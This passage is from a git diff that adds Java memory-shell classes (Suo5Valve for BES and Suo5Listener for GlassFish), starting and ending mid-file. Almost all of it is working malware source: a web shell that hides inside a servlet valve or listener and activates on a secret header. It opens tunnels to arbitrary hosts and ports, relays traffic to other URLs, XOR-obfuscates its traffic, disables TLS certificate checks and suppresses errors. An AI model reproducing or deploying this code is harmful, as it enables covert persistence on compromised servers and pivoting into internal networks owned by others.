TrustManager[]{this}, null); + ((HttpsURLConnection) conn).setSSLSocketFactory(sslCtx.getSocketFactory()); + } + + byte[] newBody = marshal(dataMap); + Enumeration headers = request.getHeaderNames(); + while (headers.hasMoreElements()) { + String k = (String) headers.nextElement(); + if (k.equals("Content-Length")) { + conn.setRequestProperty(k, String.valueOf(newBody.length)); + continue; + } else if (k.equals("Host")) { + conn.setRequestProperty(k, u.getHost()); + continue; + } else if (k.equals("Connection")) { + conn.setRequestProperty(k, "close"); + continue; + } else if (k.equals("Content-Encoding") || k.equals("Transfer-Encoding")) { + continue; + } else { + conn.setRequestProperty(k, request.getHeader(k)); + } + } + + OutputStream rout = conn.getOutputStream(); + rout.write(newBody); + rout.flush(); + rout.close(); + conn.getResponseCode(); + return conn; + } + + public boolean verify(String hostname, SSLSession session) { + return true; + } + + public void checkClientTrusted(X509Certificate[] chain, String authType) throws CertificateException { + } + + public void checkServerTrusted(X509Certificate[] chain, String authType) throws CertificateException { + } + + public X509Certificate[] getAcceptedIssuers() { + return new X509Certificate[0]; + } + + @Override + public void requestDestroyed(ServletRequestEvent sre) { + + } + + @Override + public void requestInitialized(ServletRequestEvent servletRequestEvent) { + HttpServletRequest request = (HttpServletRequest) servletRequestEvent.getServletRequest(); + try { + if (request.getHeader(headerName) != null + && request.getHeader(headerName).contains(headerValue)) { + HttpServletResponse response = getResponseFromRequest(request); + String contentType = request.getContentType(); + if (contentType == null) { + return; + } + try { + if (contentType.equals("application/plain")) { + tryFullDuplex(request, response); + return; + } + + if (contentType.equals("application/octet-stream")) { + processDataBio(request, response); + } else { + processDataUnary(request, response); + } + } catch (Throwable e) { +// System.out.printf("process data error %s\n", e); +// e.printStackTrace(); + } + } + } catch (Exception ignored) { + } + } + + @SuppressWarnings("all") + public static Object getFieldValue(Object obj, String name) throws Exception { + Field field = null; + Class clazz = obj.getClass(); + while (clazz != Object.class) { + try { + field = clazz.getDeclaredField(name); + break; + } catch (NoSuchFieldException var5) { + clazz = clazz.getSuperclass(); + } + } + if (field == null) { + throw new NoSuchFieldException(name); + } else { + field.setAccessible(true); + return field.get(obj); + } + } + + private HttpServletResponse getResponseFromRequest(HttpServletRequest request) throws Exception { + return (HttpServletResponse) getFieldValue(getFieldValue(request, "parameters"), "response"); + } +} diff --git a/memshell/src/main/java/com/reajason/javaweb/memshell/bes/suo5/Suo5Valve.java b/memshell/src/main/java/com/reajason/javaweb/memshell/bes/suo5/Suo5Valve.java new file mode 100644 index 00000000..82276566 --- /dev/null +++ b/memshell/src/main/java/com/reajason/javaweb/memshell/bes/suo5/Suo5Valve.java @@ -0,0 +1,595 @@ +package com.reajason.javaweb.memshell.bes.suo5; + +import com.bes.enterprise.webtier.Valve; +import com.bes.enterprise.webtier.connector.Request; +import com.bes.enterprise.webtier.connector.Response; + +import javax.net.ssl.*; +import javax.servlet.ServletException; +import javax.servlet.http.HttpServletRequest; +import javax.servlet.http.HttpServletResponse; +import java.io.*; +import java.net.*; +import java.nio.ByteBuffer; +import java.security.cert.CertificateException; +import java.security.cert.X509Certificate; +import java.util.Enumeration; +import java.util.HashMap; + +/** + * @author ReaJason + */ +public class Suo5Valve implements Valve, Runnable, HostnameVerifier, X509TrustManager { + public static String headerName; + public static String headerValue; + public static HashMap addrs = collectAddr(); + public static HashMap ctx = new HashMap(); + + InputStream gInStream; + OutputStream gOutStream; + protected Valve next; + protected boolean asyncSupported; + + public Suo5Valve() { + } + + public Suo5Valve(InputStream gInStream, OutputStream gOutStream) { + this.gInStream = gInStream; + this.gOutStream = gOutStream; + } + + @Override + public Valve getNext() { + return this.next; + } + + @Override + public void setNext(Valve valve) { + this.next = valve; + } + + @Override + public boolean isAsyncSupported() { + return this.asyncSupported; + } + + @Override + public void backgroundProcess() { + } + + @Override + @SuppressWarnings("all") + public void invoke(Request request, Response response) throws IOException, ServletException { + try { + if (request.getHeader(headerName) != null && request.getHeader(headerName).contains(headerValue)) { + String contentType = request.getContentType(); + if (contentType == null) { + this.getNext().invoke(request, response); + return; + } + try { + if (contentType.equals("application/plain")) { + tryFullDuplex(request, response); + this.getNext().invoke(request, response); + return; + } + + if (contentType.equals("application/octet-stream")) { + processDataBio(request, response); + } else { + processDataUnary(request, response); + } + } catch (Throwable e) { +// System.out.printf("process data error %s\n", e); +// e.printStackTrace(); + } + } else { + this.getNext().invoke(request, response); + } + } catch (Exception e) { + e.printStackTrace(); + this.getNext().invoke(request, response); + } + } + + + public void readFull(InputStream is, byte[] b) throws IOException, InterruptedException { + int bufferOffset = 0; + while (bufferOffset < b.length) { + int readLength = b.length - bufferOffset; + int readResult = is.read(b, bufferOffset, readLength); + if (readResult == -1) break; + bufferOffset += readResult; + } + } + + public void tryFullDuplex(HttpServletRequest request, HttpServletResponse response) throws IOException, InterruptedException { + InputStream in = request.getInputStream(); + byte[] data = new byte[32]; + readFull(in, data); + OutputStream out = response.getOutputStream(); + out.write(data); + out.flush(); + } + + + private HashMap newCreate(byte s) { + HashMap m = new HashMap(); + m.put("ac", new byte[]{0x04}); + m.put("s", new byte[]{s}); + return m; + } + + private HashMap newData(byte[] data) { + HashMap m = new HashMap(); + m.put("ac", new byte[]{0x01}); + m.put("dt", data); + return m; + } + + private HashMap newDel() { + HashMap m = new HashMap(); + m.put("ac", new byte[]{0x02}); + return m; + } + + private HashMap newStatus(byte b) { + HashMap m = new HashMap(); + m.put("s", new byte[]{b}); + return m; + } + + byte[] u32toBytes(int i) { + byte[] result = new byte[4]; + result[0] = (byte) (i >> 24); + result[1] = (byte) (i >> 16); + result[2] = (byte) (i >> 8); + result[3] = (byte) (i /*>> 0*/); + return result; + } + + int bytesToU32(byte[] bytes) { + return ((bytes[0] & 0xFF) << 24) | + ((bytes[1] & 0xFF) << 16) | + ((bytes[2] & 0xFF) << 8) | + ((bytes[3] & 0xFF) << 0); + } + + synchronized void put(String k, Object v) { + ctx.put(k, v); + } + + synchronized Object get(String k) { + return ctx.get(k); + } + + synchronized Object remove(String k) { + return ctx.remove(k); + } + + byte[] copyOfRange(byte[] original, int from, int to) { + int newLength = to - from; + if (newLength < 0) { + throw new IllegalArgumentException(from + " > " + to); + } + byte[] copy = new byte[newLength]; + int copyLength = Math.min(original.length - from, newLength); + // can't use System.arraycopy of Arrays.copyOf, there is no system in some environment + // System.arraycopy(original, from, copy, 0, copyLength); + for (int i = 0; i < copyLength; i++) { + copy[i] = original[from + i]; + } + return copy; + } + + + private byte[] marshal(HashMap m) throws IOException { + ByteArrayOutputStream buf = new ByteArrayOutputStream(); + Object[] keys = m.keySet().toArray(); + for (int i = 0; i < keys.length; i++) { + String key = (String) keys[i]; + byte[] value = (byte[]) m.get(key); + buf.write((byte) key.length()); + buf.write(key.getBytes()); + buf.write(u32toBytes(value.length)); + buf.write(value); + } + + byte[] data = buf.toByteArray(); + ByteBuffer dbuf = ByteBuffer.allocate(5 + data.length); + dbuf.putInt(data.length); + // xor key + byte key = (byte) ((Math.random() * 255) + 1); + dbuf.put(key); + for (int i = 0; i < data.length; i++) { + data[i] = (byte) (data[i] ^ key); + } + dbuf.put(data); + return dbuf.array(); + } + + private HashMap unmarshal(InputStream in) throws Exception { + byte[] header = new byte[4 + 1]; // size and datatype + readFull(in, header); + // read full + ByteBuffer bb = ByteBuffer.wrap(header); + int len = bb.getInt(); + int x = bb.get(); + if (len > 1024 * 1024 * 32) { + throw new IOException("invalid len"); + } + byte[] bs = new byte[len]; + readFull(in, bs); + for (int i = 0; i < bs.length; i++) { + bs[i] = (byte) (bs[i] ^ x); + } + HashMap m = new HashMap(); + byte[] buf; + for (int i = 0; i < bs.length - 1; ) { + short kLen = bs[i]; + i += 1; + if (i + kLen >= bs.length) { + throw new Exception("key len error"); + } + if (kLen < 0) { + throw new Exception("key len error"); + } + buf = copyOfRange(bs, i, i + kLen); + String key = new String(buf); + i += kLen; + + if (i + 4 >= bs.length) { + throw new Exception("value len error"); + } + buf = copyOfRange(bs, i, i + 4); + int vLen = bytesToU32(buf); + i += 4; + if (vLen < 0) { + throw new Exception("value error"); + } + + if (i + vLen > bs.length) { + throw new Exception("value error"); + } + byte[] value = copyOfRange(bs, i, i + vLen); + i += vLen; + + m.put(key, value); + } + return m; + } + + private void processDataBio(HttpServletRequest request, HttpServletResponse resp) throws Exception { + final InputStream reqInputStream = request.getInputStream(); + HashMap dataMap = unmarshal(reqInputStream); + + byte[] action = (byte[]) dataMap.get("ac"); + if (action.length != 1 || action[0] != 0x00) { + resp.setStatus(403); + return; + } + resp.setBufferSize(512); + final OutputStream respOutStream = resp.getOutputStream(); + + // 0x00 create socket + resp.setHeader("X-Accel-Buffering", "no"); + Socket sc; + try { + String host = new String((byte[]) dataMap.get("h")); + int port = Integer.parseInt(new String((byte[]) dataMap.get("p"))); + if (port == 0) { + try { + // Cannot convert Integer to int + port = ((Integer) request.getClass().getMethod("getLocalPort", new Class[]{}).invoke(request, new Object[]{})).intValue(); + } catch (Exception e) { + port = ((Integer) request.getClass().getMethod("getServerPort", new Class[]{}).invoke(request, new Object[]{})).intValue(); + } + } + sc = new Socket(); + sc.connect(new InetSocketAddress(host, port), 5000); + } catch (Exception e) { + respOutStream.write(marshal(newStatus((byte) 0x01))); + respOutStream.flush(); + respOutStream.close(); + return; + } + + respOutStream.write(marshal(newStatus((byte) 0x00))); + respOutStream.flush(); + resp.flushBuffer(); + + final OutputStream scOutStream = sc.getOutputStream(); + final InputStream scInStream = sc.getInputStream(); + + Thread t = null; + try { + Suo5Valve p = new Suo5Valve(scInStream, respOutStream); + t = new Thread(p); + t.start(); + readReq(reqInputStream, scOutStream); + } catch (Exception e) { +// System.out.printf("pipe error, %s\n", e); + } finally { + sc.close(); + respOutStream.close(); + if (t != null) { + t.join(); + } + } + } + + private void readSocket(InputStream inputStream, OutputStream outputStream, boolean needMarshal) throws IOException { + byte[] readBuf = new byte[1024 * 8]; + while (true) { + int n = inputStream.read(readBuf); + if (n <= 0) { + break; + } + byte[] dataTmp = copyOfRange(readBuf, 0, 0 + n); + if (needMarshal) { + dataTmp = marshal(newData(dataTmp)); + } + outputStream.write(dataTmp); + outputStream.flush(); + } + } + + private void readReq(InputStream bufInputStream, OutputStream socketOutStream) throws Exception { + while (true) { + HashMap dataMap; + dataMap = unmarshal(bufInputStream); + + byte[] actions = (byte[]) dataMap.get("ac"); + if (actions.length != 1) { + return; + } + byte action = actions[0]; + if (action == 0x02) { + socketOutStream.close(); + return; + } else if (action == 0x01) { + byte[] data = (byte[]) dataMap.get("dt"); + if (data.length != 0) { + socketOutStream.write(data); + socketOutStream.flush(); + } + } else if (action == 0x03) { + continue; + } else { + return; + } + } + } + + private void processDataUnary(HttpServletRequest request, HttpServletResponse resp) throws + Exception { + InputStream is = request.getInputStream(); + BufferedInputStream reader = new BufferedInputStream(is); + HashMap dataMap; + dataMap = unmarshal(reader); + + + String clientId = new String((byte[]) dataMap.get("id")); + byte[] actions = (byte[]) dataMap.get("ac"); + if (actions.length != 1) { + resp.setStatus(403); + return; + } + /* + ActionCreate byte = 0x00 + ActionData byte = 0x01 + ActionDelete byte = 0x02 + ActionHeartbeat byte = 0x03 + */ + byte action = actions[0]; + byte[] redirectData = (byte[]) dataMap.get("r"); + boolean needRedirect = redirectData != null && redirectData.length > 0; + String redirectUrl = ""; + if (needRedirect) { + dataMap.remove("r"); + redirectUrl = new String(redirectData); + needRedirect = !isLocalAddr(redirectUrl); + } + // load balance, send request with data to request url + // action 0x00 need to pipe, see below + if (needRedirect && action >= 0x01 && action <= 0x03) { + HttpURLConnection conn = redirect(request, dataMap, redirectUrl); + conn.disconnect(); + return; + } + + resp.setBufferSize(512); + OutputStream respOutStream = resp.getOutputStream(); + if (action == 0x02) { + Object o = this.get(clientId); + if (o == null) return; + OutputStream scOutStream = (OutputStream) o; + scOutStream.close(); + return; + } else if (action == 0x01) { + Object o = this.get(clientId); + if (o == null) { + respOutStream.write(marshal(newDel())); + respOutStream.flush(); + respOutStream.close(); + return; + } + OutputStream scOutStream = (OutputStream) o; + byte[] data = (byte[]) dataMap.get("dt"); + if (data.length != 0) { + scOutStream.write(data); + scOutStream.flush(); + } + respOutStream.close(); + return; + } else { + } + + if (action != 0x00) { + return; + } + // 0x00 create new tunnel + resp.setHeader("X-Accel-Buffering", "no"); + String host = new String((byte[]) dataMap.get("h")); + int port = Integer.parseInt(new String((byte[]) dataMap.get("p"))); + if (port == 0) { + try { + port = ((Integer) request.getClass().getMethod("getLocalPort", new Class[]{}).invoke(request, new Object[]{})).intValue(); + } catch (Exception e) { + port = ((Integer) request.getClass().getMethod("getServerPort", new Class[]{}).invoke(request, new Object[]{})).intValue(); + } + } + + InputStream readFrom; + Socket sc = null; + HttpURLConnection conn = null; + + if (needRedirect) { + // pipe redirect stream and current response body + conn = redirect(request, dataMap, redirectUrl); + readFrom = conn.getInputStream(); + } else { + // pipe socket stream and current response body + try { + sc = new Socket(); + sc.connect(new InetSocketAddress(host, port), 5000); + readFrom = sc.getInputStream(); + this.put(clientId, sc.getOutputStream()); + respOutStream.write(marshal(newStatus((byte) 0x00))); + respOutStream.flush(); + resp.flushBuffer(); + } catch (Exception e) { +// System.out.printf("connect error %s\n", e); +// e.printStackTrace(); + this.remove(clientId); + respOutStream.write(marshal(newStatus((byte) 0x01))); + respOutStream.flush(); + respOutStream.close(); + return; + } + } + try { + readSocket(readFrom, respOutStream, !needRedirect); + } catch (Exception e) { +// System.out.println("socket error " + e.toString()); +// e.printStackTrace(); + } finally { + if (sc != null) { + sc.close(); + } + if (conn != null) { + conn.disconnect(); + } + respOutStream.close(); + this.remove(clientId); + } + } + + public void run() { + try { + readSocket(gInStream, gOutStream, true); + } catch (Exception e) { +// System.out.printf("read socket error, %s\n", e); +// e.printStackTrace(); + } + } + + static HashMap collectAddr() { + HashMap addrs = new HashMap(); + try { + Enumeration nifs = NetworkInterface.getNetworkInterfaces(); + while (nifs.hasMoreElements()) { + NetworkInterface nif = (NetworkInterface) nifs.nextElement(); + Enumeration addresses = nif.getInetAddresses(); + while (addresses.hasMoreElements()) { + InetAddress addr = (InetAddress) addresses.nextElement(); + String s = addr.getHostAddress(); + if (s != null) { + // fe80:0:0:0:fb0d:5776:2d7c:da24%wlan4 strip %wlan4 + int ifaceIndex = s.indexOf('%'); + if (ifaceIndex != -1) { + s = s.substring(0, ifaceIndex); + } + addrs.put((Object) s, (Object) Boolean.TRUE); + } + } + } + } catch (Exception e) { +// System.out.printf("read socket error, %s\n", e); +// e.printStackTrace(); + } + return addrs; + } + + boolean isLocalAddr(String url) throws Exception { + String ip = (new URL(url)).getHost(); + return addrs.containsKey(ip); + } + + HttpURLConnection redirect(HttpServletRequest request, HashMap dataMap, String rUrl) throws Exception { + String method = request.getMethod(); + URL u = new URL(rUrl); + HttpURLConnection conn = (HttpURLConnection) u.openConnection(); + conn.setRequestMethod(method); + try { + // conn.setConnectTimeout(3000); + conn.getClass().getMethod("setConnectTimeout", new Class[]{int.class}).invoke(conn, new Object[]{new Integer(3000)}); + // conn.setReadTimeout(0); + conn.getClass().getMethod("setReadTimeout", new Class[]{int.class}).invoke(conn, new Object[]{new Integer(0)}); + } catch (Exception e) { + // java1.4 + } + conn.setDoOutput(true); + conn.setDoInput(true); + + // ignore ssl verify + // ref: https://github.com/L-codes/Neo-reGeorg/blob/master/templates/NeoreGeorg.java + if (HttpsURLConnection.class.isInstance(conn)) { + ((HttpsURLConnection) conn).setHostnameVerifier(this); + SSLContext sslCtx = SSLContext.getInstance("SSL"); + sslCtx.init(null, new TrustManager[]{this}, null); + ((HttpsURLConnection) conn).setSSLSocketFactory(sslCtx.getSocketFactory()); + } + + byte[] newBody = marshal(dataMap); + Enumeration headers = request.getHeaderNames(); + while (headers.hasMoreElements()) { + String k = (String) headers.nextElement(); + if (k.equals("Content-Length")) { + conn.setRequestProperty(k, String.valueOf(newBody.length)); + continue; + } else if (k.equals("Host")) { + conn.setRequestProperty(k, u.getHost()); + continue; + } else if (k.equals("Connection")) { + conn.setRequestProperty(k, "close"); + continue; + } else if (k.equals("Content-Encoding") || k.equals("Transfer-Encoding")) { + continue; + } else { + conn.setRequestProperty(k, request.getHeader(k)); + } + } + + OutputStream rout = conn.getOutputStream(); + rout.write(newBody); + rout.flush(); + rout.close(); + conn.getResponseCode(); + return conn; + } + + public boolean verify(String hostname, SSLSession session) { + return true; + } + + public void checkClientTrusted(X509Certificate[] chain, String authType) throws CertificateException { + } + + public void checkServerTrusted(X509Certificate[] chain, String authType) throws CertificateException { + } + + public X509Certificate[] getAcceptedIssuers() { + return new X509Certificate[0]; + } +} \ No newline at end of file diff --git a/memshell/src/main/java/com/reajason/javaweb/memshell/glassfish/suo5/Suo5Listener.java b/memshell/src/main/java/com/reajason/javaweb/memshell/glassfish/suo5/Suo5Listener.java new file mode 100644 index 00000000..66915392 --- /dev/null +++ b/memshell/src/main/java/com/reajason/javaweb/memshell/glassfish/suo5/Suo5Listener.java @@ -0,0 +1,608 @@ +package com.reajason.javaweb.memshell.glassfish.suo5; + +import javax.net.ssl.*; +import javax.servlet.ServletRequestEvent; +import javax.servlet.ServletRequestListener; +import javax.servlet.http.HttpServletRequest; +import javax.servlet.http.HttpServletResponse; +import java.io.*; +import java.lang.reflect.Field; +import java.net.*; +import java.nio.ByteBuffer; +import java.security.cert.CertificateException; +import java.security.cert.X509Certificate; +import java.util.Enumeration; +import java.util.HashMap; + +/** + * @author ReaJason + * @since 2024/12/15 + */ +public class Suo5Listener implements ServletRequestListener, Runnable, HostnameVerifier, X509TrustManager { + public static String headerName; + public static String headerValue; + public static HashMap addrs = collectAddr(); + public static HashMap ctx = new HashMap(); + + InputStream gInStream; + OutputStream gOutStream; + + public Suo5Listener() { + } + + public Suo5Listener(InputStream in, OutputStream out) { + this.gInStream = in; + this.gOutStream = out; + } + + public void readFull(InputStream is, byte[] b) throws IOException, InterruptedException { + int bufferOffset = 0; + while (bufferOffset < b.length) { + int readLength = b.length - bufferOffset; + int readResult = is.read(b, bufferOffset, readLength); + if (readResult == -1) break; + bufferOffset += readResult; + } + } + + public void tryFullDuplex(HttpServletRequest request, HttpServletResponse response) throws IOException, InterruptedException { + InputStream in = request.getInputStream(); + byte[] data = new byte[32]; + readFull(in, data); + OutputStream out = response.getOutputStream(); + out.write(data); + out.flush(); + } + + + private HashMap newCreate(byte s) { + HashMap m = new HashMap(); + m.put("ac", new byte[]{0x04}); + m.put("s", new byte[]{s}); + return m; + } + + private HashMap newData(byte[] data) { + HashMap m = new HashMap(); + m.put("ac", new byte[]{0x01}); + m.put("dt", data); + return m; + } + + private HashMap newDel() { + HashMap m = new HashMap(); + m.put("ac", new byte[]{0x02}); + return m; + } + + private HashMap newStatus(byte b) { + HashMap m = new HashMap(); + m.put("s", new byte[]{b}); + return m; + } + + byte[] u32toBytes(int i) { + byte[] result = new byte[4]; + result[0] = (byte) (i >> 24); + result[1] = (byte) (i >> 16); + result[2] = (byte) (i >> 8); + result[3] = (byte) (i /*>> 0*/); + return result; + } + + int bytesToU32(byte[] bytes) { + return ((bytes[0] & 0xFF) << 24) | + ((bytes[1] & 0xFF) << 16) | + ((bytes[2] & 0xFF) << 8) | + ((bytes[3] & 0xFF) << 0); + } + + synchronized void put(String k, Object v) { + ctx.put(k, v); + } + + synchronized Object get(String k) { + return ctx.get(k); + } + + synchronized Object remove(String k) { + return ctx.remove(k); + } + + byte[] copyOfRange(byte[] original, int from, int to) { + int newLength = to - from; + if (newLength < 0) { + throw new IllegalArgumentException(from + " > " + to); + } + byte[] copy = new byte[newLength]; + int copyLength = Math.min(original.length - from, newLength); + // can't use System.arraycopy of Arrays.copyOf, there is no system in some environment + // System.arraycopy(original, from, copy, 0, copyLength); + for (int i = 0; i < copyLength; i++) { + copy[i] = original[from + i]; + } + return copy; + } + + + private byte[] marshal(HashMap m) throws IOException { + ByteArrayOutputStream buf = new ByteArrayOutputStream(); + Object[] keys = m.keySet().toArray(); + for (int i = 0; i < keys.length; i++) { + String key = (String) keys[i]; + byte[] value = (byte[]) m.get(key); + buf.write((byte) key.length()); + buf.write(key.getBytes()); + buf.write(u32toBytes(value.length)); + buf.write(value); + } + + byte[] data = buf.toByteArray(); + ByteBuffer dbuf = ByteBuffer.allocate(5 + data.length); + dbuf.putInt(data.length); + // xor key + byte key = (byte) ((Math.random() * 255) + 1); + dbuf.put(key); + for (int i = 0; i < data.length; i++) { + data[i] = (byte) (data[i] ^ key); + } + dbuf.put(data); + return dbuf.array(); + } + + private HashMap unmarshal(InputStream in) throws Exception { + byte[] header = new byte[4 + 1]; // size and datatype + readFull(in, header); + // read full + ByteBuffer bb = ByteBuffer.wrap(header); + int len = bb.getInt(); + int x = bb.get(); + if (len > 1024 * 1024 * 32) { + throw new IOException("invalid len"); + } + byte[] bs = new byte[len]; + readFull(in, bs); + for (int i = 0; i < bs.length; i++) { + bs[i] = (byte) (bs[i] ^ x); + } + HashMap m = new HashMap(); + byte[] buf; + for (int i = 0; i < bs.length - 1; ) { + short kLen = bs[i]; + i += 1; + if (i + kLen >= bs.length) { + throw new Exception("key len error"); + } + if (kLen < 0) { + throw new Exception("key len error"); + } + buf = copyOfRange(bs, i, i + kLen); + String key = new String(buf); + i += kLen; + + if (i + 4 >= bs.length) { + throw new Exception("value len error"); + } + buf = copyOfRange(bs, i, i + 4); + int vLen = bytesToU32(buf); + i += 4; + if (vLen < 0) { + throw new Exception("value error"); + } + + if (i + vLen > bs.length) { + throw new Exception("value error"); + } + byte[] value = copyOfRange(bs, i, i + vLen); + i += vLen; + + m.put(key, value); + } + return m; + } + + private void processDataBio(HttpServletRequest request, HttpServletResponse resp) throws Exception { + final InputStream reqInputStream = request.getInputStream(); + HashMap dataMap = unmarshal(reqInputStream); + + byte[] action = (byte[]) dataMap.get("ac"); + if (action.length != 1 || action[0] != 0x00) { + resp.setStatus(403); + return; + } + resp.setBufferSize(512); + final OutputStream respOutStream = resp.getOutputStream(); + + // 0x00 create socket + resp.setHeader("X-Accel-Buffering", "no"); + Socket sc; + try { + String host = new String((byte[]) dataMap.get("h")); + int port = Integer.parseInt(new String((byte[]) dataMap.get("p"))); + if (port == 0) { + try { + // Cannot convert Integer to int + port = ((Integer) request.getClass().getMethod("getLocalPort", new Class[]{}).invoke(request, new Object[]{})).intValue(); + } catch (Exception e) { + port = ((Integer) request.getClass().getMethod("getServerPort", new Class[]{}).invoke(request, new Object[]{})).intValue(); + } + } + sc = new Socket(); + sc.connect(new InetSocketAddress(host, port), 5000); + } catch (Exception e) { + respOutStream.write(marshal(newStatus((byte) 0x01))); + respOutStream.flush(); + respOutStream.close(); + return; + } + + respOutStream.write(marshal(newStatus((byte) 0x00))); + respOutStream.flush(); + resp.flushBuffer(); + + final OutputStream scOutStream = sc.getOutputStream(); + final InputStream scInStream = sc.getInputStream(); + + Thread t = null; + try { + Suo5Listener p = new Suo5Listener(scInStream, respOutStream); + t = new Thread(p); + t.start(); + readReq(reqInputStream, scOutStream); + } catch (Exception e) { +// System.out.printf("pipe error, %s\n", e); + } finally { + sc.close(); + respOutStream.close(); + if (t != null) { + t.join(); + } + } + } + + private void readSocket(InputStream inputStream, OutputStream outputStream, boolean needMarshal) throws IOException { + byte[] readBuf = new byte[1024 * 8]; + while (true) { + int n = inputStream.read(readBuf); + if (n <= 0) { + break; + } + byte[] dataTmp = copyOfRange(readBuf, 0, 0 + n); + if (needMarshal) { + dataTmp = marshal(newData(dataTmp)); + } + outputStream.write(dataTmp); + outputStream.flush(); + } + } + + private void readReq(InputStream bufInputStream, OutputStream socketOutStream) throws Exception { + while (true) { + HashMap dataMap; + dataMap = unmarshal(bufInputStream); + + byte[] actions = (byte[]) dataMap.get("ac"); + if (actions.length != 1) { + return; + } + byte action = actions[0]; + if (action == 0x02) { + socketOutStream.close(); + return; + } else if (action == 0x01) { + byte[] data = (byte[]) dataMap.get("dt"); + if (data.length != 0) { + socketOutStream.write(data); + socketOutStream.flush(); + } + } else if (action == 0x03) { + continue; + } else { + return; + } + } + } + + private void processDataUnary(HttpServletRequest request, HttpServletResponse resp) throws + Exception { + InputStream is = request.getInputStream(); + BufferedInputStream reader = new BufferedInputStream(is); + HashMap dataMap; + dataMap = unmarshal(reader); + + + String clientId = new String((byte[]) dataMap.get("id")); + byte[] actions = (byte[]) dataMap.get("ac"); + if (actions.length != 1) { + resp.setStatus(403); + return; + } + /* + ActionCreate byte = 0x00 + ActionData byte = 0x01 + ActionDelete byte = 0x02 + ActionHeartbeat byte = 0x03 + */ + byte action = actions[0]; + byte[] redirectData = (byte[]) dataMap.get("r"); + boolean needRedirect = redirectData != null && redirectData.length > 0; + String redirectUrl = ""; + if (needRedirect) { + dataMap.remove("r"); + redirectUrl = new String(redirectData); + needRedirect = !isLocalAddr(redirectUrl); + } + // load balance, send request with data to request url + // action 0x00 need to pipe, see below + if (needRedirect && action >= 0x01 && action <= 0x03) { + HttpURLConnection conn = redirect(request, dataMap, redirectUrl); + conn.disconnect(); + return; + } + + resp.setBufferSize(512); + OutputStream respOutStream = resp.getOutputStream(); + if (action == 0x02) { + Object o = this.get(clientId); + if (o == null) return; + OutputStream scOutStream = (OutputStream) o; + scOutStream.close(); + return; + } else if (action == 0x01) { + Object o = this.get(clientId); + if (o == null) { + respOutStream.write(marshal(newDel())); + respOutStream.flush(); + respOutStream.close(); + return; + } + OutputStream scOutStream = (OutputStream) o; + byte[] data = (byte[]) dataMap.get("dt"); + if (data.length != 0) { + scOutStream.write(data); + scOutStream.flush(); + } + respOutStream.close(); + return; + } else { + } + + if (action != 0x00) { + return; + } + // 0x00 create new tunnel + resp.setHeader("X-Accel-Buffering", "no"); + String host = new String((byte[]) dataMap.get("h")); + int port = Integer.parseInt(new String((byte[]) dataMap.get("p"))); + if (port == 0) { + try { + port = ((Integer) request.getClass().getMethod("getLocalPort", new Class[]{}).invoke(request, new Object[]{})).intValue(); + } catch (Exception e) { + port = ((Integer) request.getClass().getMethod("getServerPort", new Class[]{}).invoke(request, new Object[]{})).intValue(); + } + } + + InputStream readFrom; + Socket sc = null; + HttpURLConnection conn = null; + + if (needRedirect) { + // pipe redirect stream and current response body + conn = redirect(request, dataMap, redirectUrl); + readFrom = conn.getInputStream(); + } else { + // pipe socket stream and current response body + try { + sc = new Socket(); + sc.connect(new InetSocketAddress(host, port), 5000); + readFrom = sc.getInputStream(); + this.put(clientId, sc.getOutputStream()); + respOutStream.write(marshal(newStatus((byte) 0x00))); + respOutStream.flush(); + resp.flushBuffer(); + } catch (Exception e) { +// System.out.printf("connect error %s\n", e); +// e.printStackTrace(); + this.remove(clientId); + respOutStream.write(marshal(newStatus((byte) 0x01))); + respOutStream.flush(); + respOutStream.close(); + return; + } + } + try { + readSocket(readFrom, respOutStream, !needRedirect); + } catch (Exception e) { +// System.out.println("socket error " + e.toString()); +// e.printStackTrace(); + } finally { + if (sc != null) { + sc.close(); + } + if (conn != null) { + conn.disconnect(); + } + respOutStream.close(); + this.remove(clientId); + } + } + + public void run() { + try { + readSocket(gInStream, gOutStream, true); + } catch (Exception e) { +// System.out.printf("read socket error, %s\n", e); +// e.printStackTrace(); + } + } + + static HashMap collectAddr() { + HashMap addrs = new HashMap(); + try { + Enumeration nifs = NetworkInterface.getNetworkInterfaces(); + while (nifs.hasMoreElements()) { + NetworkInterface nif = (NetworkInterface) nifs.nextElement(); + Enumeration addresses = nif.getInetAddresses(); + while (addresses.hasMoreElements()) { + InetAddress addr = (InetAddress) addresses.nextElement(); + String s = addr.getHostAddress(); + if (s != null) { + // fe80:0:0:0:fb0d:5776:2d7c:da24%wlan4 strip %wlan4 + int ifaceIndex = s.indexOf('%'); + if (ifaceIndex != -1) { + s = s.substring(0, ifaceIndex); + } + addrs.put((Object) s, (Object) Boolean.TRUE); + } + } + } + } catch (Exception e) { +// System.out.printf("read socket error, %s\n", e); +// e.printStackTrace(); + } + return addrs; + } + + boolean isLocalAddr(String url) throws Exception { + String ip = (new URL(url)).getHost(); + return addrs.containsKey(ip); + } + + HttpURLConnection redirect(HttpServletRequest request, HashMap dataMap, String rUrl) throws Exception { + String method = request.getMethod(); + URL u = new URL(rUrl); + HttpURLConnection conn = (HttpURLConnection) u.openConnection(); + conn.setRequestMethod(method); + try { + // conn.setConnectTimeout(3000); + conn.getClass().getMethod("setConnectTimeout", new Class[]{int.class}).invoke(conn, new Object[]{new Integer(3000)}); + // conn.setReadTimeout(0); + conn.getClass().getMethod("setReadTimeout", new Class[]{int.class}).invoke(conn, new Object[]{new Integer(0)}); + } catch (Exception e) { + // java1.4 + } + conn.setDoOutput(true); + conn.setDoInput(true); + + // ignore ssl verify + // ref: https://github.com/L-codes/Neo-reGeorg/blob/master/templates/NeoreGeorg.java + if (HttpsURLConnection.class.isInstance(conn)) { + ((HttpsURLConnection) conn).setHostnameVerifier(this); + SSLContext sslCtx = SSLContext.getInstance("SSL"); + sslCtx.init(null, new TrustManager[]{this}, null); + ((HttpsURLConnection) conn).setSSLSocketFactory(sslCtx.getSocketFactory()); + } + + byte[] newBody = marshal(dataMap); + Enumeration headers = request.getHeaderNames(); + while (headers.hasMoreElements()) { + String k = (String) headers.nextElement(); + if (k.equals("Content-Length")) { + conn.setRequestProperty(k, String.valueOf(newBody.length)); + continue; + } else if (k.equals("Host")) { + conn.setRequestProperty(k, u.getHost()); + continue; + } else if (k.equals("Connection")) { + conn.setRequestProperty(k, "close"); + continue; + } else if (k.equals("Content-Encoding") || k.equals("Transfer-Encoding")) { + continue; + } else { + conn.setRequestProperty(k, request.getHeader(k)); + } + } + + OutputStream rout = conn.getOutputStream(); + rout.write(newBody); + rout.flush(); + rout.close(); + conn.getResponseCode(); + return conn; + } + + public boolean verify(String hostname, SSLSession session) { + return true; + } + + public void checkClientTrusted(X509Certificate[] chain, String 